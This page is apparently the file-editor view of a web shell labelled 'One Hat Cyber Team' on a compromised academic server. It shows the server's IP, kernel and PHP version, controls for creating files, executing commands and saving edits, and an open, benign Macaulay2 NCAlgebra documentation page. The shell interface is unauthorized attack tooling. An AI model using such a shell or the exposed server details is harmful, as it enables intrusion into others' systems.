One Hat Cyber Team
Your IP :
216.73.216.14
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
NCAlgebra
/
html
/
Edit File:
_right__Kernel.html
<!DOCTYPE html> <html lang="en"> <head> <title>rightKernel -- Method for computing kernels of matrices over noncommutative rings in a given degree without using Bergman</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a href="index.html">NCAlgebra</a> :: <a title="Method for computing kernels of matrices over noncommutative rings in a given degree without using Bergman" href="_right__Kernel.html">rightKernel</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="_right__Kernel__Bergman.html">next</a> | <a href="_resolution_lp__N__C__Matrix_rp.html">previous</a> | <a href="_right__Kernel__Bergman.html">forward</a> | <a href="_resolution_lp__N__C__Matrix_rp.html">backward</a> | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>rightKernel -- Method for computing kernels of matrices over noncommutative rings in a given degree without using Bergman</h1> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">rightKernel(M,n)</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">M</span>, <span>an instance of the type <a title="Type of a matrix over a noncommutative ring" href="___N__C__Matrix.html">NCMatrix</a></span>, </span></li> <li><span><span class="tt">n</span>, <span>an <a title="the class of all integers" href="../../Macaulay2Doc/html/___Z__Z.html">integer</a></span>, the degree in which to compute the kernel</span></li> </ul> </li> <li><a href="../../Macaulay2Doc/html/_using_spfunctions_spwith_spoptional_spinputs.html">Optional inputs</a>: <ul> <li><span><span class="tt">NumberOfBins</span><span class="tt"> => </span><span>an <a title="the class of all integers" href="../../Macaulay2Doc/html/___Z__Z.html">integer</a></span>, <span>default value 1</span>, an integer dividing the number of rows of M</span></li> <li><span><span class="tt">Verbosity</span><span class="tt"> => </span><span>an <a title="the class of all integers" href="../../Macaulay2Doc/html/___Z__Z.html">integer</a></span>, <span>default value 0</span></span></li> </ul> </li> <li>Outputs: <ul> <li><span><span>an instance of the type <a title="Type of a matrix over a noncommutative ring" href="___N__C__Matrix.html">NCMatrix</a></span>, </span></li> </ul> </li> </ul> <div> <h2>Description</h2> <div> <p>The method <a title="Methods for computing kernels of matrices over noncommutative rings using Bergman" href="_right__Kernel__Bergman.html">rightKernelBergman</a> is a very effective tool for computing kernels of homogeneous matrices with entries in rings over QQ or ZZ/p. This method provides an alternative that can be used for NCMatrices over any ground ring. The method is also useful when one knows additional homological information - for example if the cokernel of M has a linear free resolution.</p> </div> <div> <p>Given an NCMatrix M and an integer n, this method returns a basis for the kernel of the matrix (viewed as a linear map of free right modules) in homogeneous degree n. The method successively computes annihilators of columns of M and intersects them. For large matrices or large values of n, it may save memory to break the calculation into smaller pieces. Use the option NumberOfBins to reduce the memory (but increase the time) the program uses. Set Verbosity to 1 to see progress updates.</p> </div> <div> <p>To avoid accidental calls to Bergman for normal form calculations, set the MAXSIZE environment variable fairly high, say 1000.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : B = threeDimSklyanin(QQ,{1,1,-1},{x,y,z}) --Calling Bergman for NCGB calculation. Complete! o1 = B o1 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i2 : sigma = ncMap(B,B,{y,z,x}) o2 = NCRingMap B <--- B o2 : NCRingMap</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i3 : C = oreExtension(B,sigma,w) --Calling Bergman for NCGB calculation. Complete! o3 = C o3 : NCQuotientRing</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i4 : D = (ambient C)/(ideal C + ncIdeal{promote(w^2,ambient C)}) --Calling Bergman for NCGB calculation. Complete! o4 = D o4 : NCQuotientRing</code></pre> </td> </tr> </table> <div> <p>This algebra is an Ore extension of a 3-dimensional Sklyanin algebra, factored by the normal regular element w^2. This algebra is Koszul, hence it has a linear free resolution. The rightKernel method is significantly faster than rightKernelBergman in this case. Also note the two methods return different generating sets for the kernel.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i5 : M1 = ncMatrix {{x,y,z,w}} o5 = | x y z w | o5 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i6 : M2 = rightKernel(M1,1) o6 = | z -x -y 0 0 -w 0 | | -y z -x -w 0 0 0 | | x y z 0 -w 0 0 | | 0 0 0 x y z w | o6 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : M3 = rightKernel(M2,1) o7 = | -y 0 w 0 0 0 0 0 | | -x 0 0 -w 0 0 0 0 | | z -w 0 0 0 0 0 0 | | 0 z -x -y 0 0 -w 0 | | 0 -y z -x -w 0 0 0 | | 0 x y z 0 -w 0 0 | | 0 0 0 0 x y z w | o7 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i8 : rightKernelBergman(M2) --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! o8 = | 0 0 0 0 y 0 -w 0 | | 0 0 0 0 x w 0 0 | | 0 0 0 0 -z 0 0 w | | 0 w 0 0 0 y x -z | | 0 0 0 w 0 x -z y | | 0 0 w 0 0 -z -y -x | | w -z -y -x 0 0 0 0 | o8 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i9 : M4 = rightKernel(M3,1) o9 = | -w 0 0 0 0 0 0 0 | | -y 0 w 0 0 0 0 0 | | -x 0 0 -w 0 0 0 0 | | z -w 0 0 0 0 0 0 | | 0 z -x -y 0 0 -w 0 | | 0 -y z -x -w 0 0 0 | | 0 x y z 0 -w 0 0 | | 0 0 0 0 x y z w | o9 : NCMatrix</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : rightKernelBergman(M3) --Calling Bergman for NCGB calculation. Complete! --Calling Bergman for NCGB calculation. Complete! o10 = | 0 0 0 0 0 0 0 w | | 0 0 0 0 0 -w 0 y | | 0 0 0 0 w 0 0 x | | 0 0 0 0 0 0 w -z | | 0 w 0 0 y x -z 0 | | 0 0 0 w x -z y 0 | | 0 0 w 0 -z -y -x 0 | | w -z -y -x 0 0 0 0 | o10 : NCMatrix</code></pre> </td> </tr> </table> </div> <div> <h2>See also</h2> <ul> <li><span><a title="Methods for computing kernels of matrices over noncommutative rings using Bergman" href="_right__Kernel__Bergman.html">rightKernelBergman</a> -- Methods for computing kernels of matrices over noncommutative rings using Bergman</span></li> </ul> </div> <div> <div class="waystouse"> <h2>Ways to use <span class="tt">rightKernel</span>:</h2> <ul> <li><kbd>rightKernel(NCMatrix,ZZ)</kbd></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="Method for computing kernels of matrices over noncommutative rings in a given degree without using Bergman" href="_right__Kernel.html">rightKernel</a> is <span>a <a title="a type of method function" href="../../Macaulay2Doc/html/___Method__Function__With__Options.html">method function with options</a></span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">NCAlgebra/NCAlgebraDoc.m2:2718:0</span>.</p> </div> </div> </div> </body> </html>
Simpan